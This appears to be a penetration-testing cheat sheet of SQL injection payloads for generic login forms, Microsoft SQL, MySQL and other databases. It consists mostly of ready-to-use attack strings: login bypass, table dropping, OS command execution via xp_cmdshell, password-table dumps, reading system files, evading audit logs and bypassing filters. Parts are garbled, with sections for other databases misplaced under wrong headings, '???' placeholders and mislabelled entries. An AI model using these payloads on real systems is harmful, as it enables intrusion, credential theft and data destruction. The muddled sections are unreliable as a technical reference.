Added some more blind SQL injection tests for MySQL (Author: jungsonn)
21/12/06
Added Concat tests for blind SQL Injection tests.
06/Nov/06
Added PostgreSQL payloads
06/Nov/06
Added Data to Oracle
06/Nov/06
Added Sybase section
Oct/06
Wrote initial paper.
Introduction
Comments:
This paper was primarily written to aid penetration testers. I hope you find it useful. Please email me additional payloads as you find them.
» Generic – Bypass Authentication
The following payloads are generally applied to login forms with a username and password. Correctly performing these attacks will allow you to authenticate to the web application (unless otherwise stated).
Payload
Description (if any)
realusername' OR 1=1–
Authenticate as a real user without requiring a password.
'OR '' = '
Allows authentication without a valid username.
admin'–
Authenticate as user admin without a password.
' union select 1, 'user', 'pass' 1–
Requires knowledge of column names.
'; drop table users–
DANGEROUS! this will delete the user database if the table name is 'users'.
» Microsoft SQL
Payload
Description (if any)
'admin –sp_password
sp_traceXXX audit evasion. The sp_password prevents storing clear text passwords in the log files. Appending this after your comments (–) can prevent SQL Injection queries being logged.
An error will occur presenting the first value of the rowset (lets say its sybase). We then continue as before by placing the value into our query. An error will then present the next value in the rowset. We continue as before.
xp_cmdshell 'ipconfig+/all'
Misc. command execution with cp_cmdshell.
xp_cmdshell 'net+view'
Misc. command execution with cp_cmdshell.
xp_cmdshell 'net+users'
Misc. command execution with cp_cmdshell.
xp_cmdshell 'ping+system-controlled-by-attacker'
Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
waitfor delay '0:0:5'
Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
create proxy_table myfile external file at "c:\temp\file_to_read.txt" select * from myfile"
Reading files on the filesystem.
create table myfile (record varchar(2000)) external file at "c:\temp\myfile.exe" insert into myfile values(0xAND_YOUR_BINARY_DATA)"
Write file to filesystem.
str1 + str2 or n+n
Concat strings for blind SQL Injection tests.
» MySQL
Payload
Description (if any)
select @@version;
View database version.
select host,user,db from mysql.db;
Misc. information disclosure
select host,user,password from mysql.user;
View MySQL usernames and passwords.
create table myfile (input TEXT); load data infile ‘/etc/passwd’ into table myfile; OR load data infile ‘/home/{user}/.rhosts’ into table myfile; select * from myfile;
Reading files on the filesystem.
select host,user,password from user into outfile ‘/tmp/passwd’;
Write files on the filesystem. This attack is limited by the fact that you can only write to either “/tmp” or “/var/tmp”.
select CONCAT(”a”,”b”);
Concat strings for blind SQL Injection tests.
BENCHMARK(1000000000,MD5(’gainingtime’))
Cause delay for blind SQL Injection tests.
BENCHMARK(1000000000,MD5(CHAR(116)))
Cause delay for blind SQL Injection tests. Same as before, but this can be used if quotes are filtered.
IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(’gainingtime’))
Check if username exists, if yes there will be an delay.
IF EXISTS (SELECT * FROM users WHERE username = ‘root’) WAITFOR DELAY ‘0:0:3′
Check if username exists, if yes there will be an delay for 3 seconds.
The function “bit_and” exists, but seems hard to use. Here’s an
example of ANDing 3 and 5 together. The result is a “byte” type
with value \001:
select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);
Substring
select substr(’abc’, 2, 1); — returns ‘b’
ASCII value of a character
???
(The “ascii” function exists, but doesn’t seem to do what I’d expect.)
Roles and passwords
First you need to connect to iidbdb, then:
select roleid, rolepass from iirole;
List Database Procedures
First you need to connect to iidbdb, then:
select dbp_name, dbp_owner from iiprocedure;
Create Users + Granting Privs
First you need to connect to iidbdb, then:
create user pm with password = ‘password’;
grant all on current installation to pm;
Time Delays
???
Execute OS Commands
???
Write to File System
???
Concatenation
select ‘abc’ || ‘def’;
Casting
select cast(123 as varchar);
select cast(’123′ as integer);
» Bypass SQL Injection Filters
Payload
Description (if any)
select password from tablename where username = concat(char(39),char(97),char(100),char(109),char(105),char(110),char( 39)) into outfile concat(char(39),char(97),char(100),char(109),char(105),char(110),char( 39))
Writing info into files without single quotes (example). You must specify a new file (it may not exist) and give the correct pathname.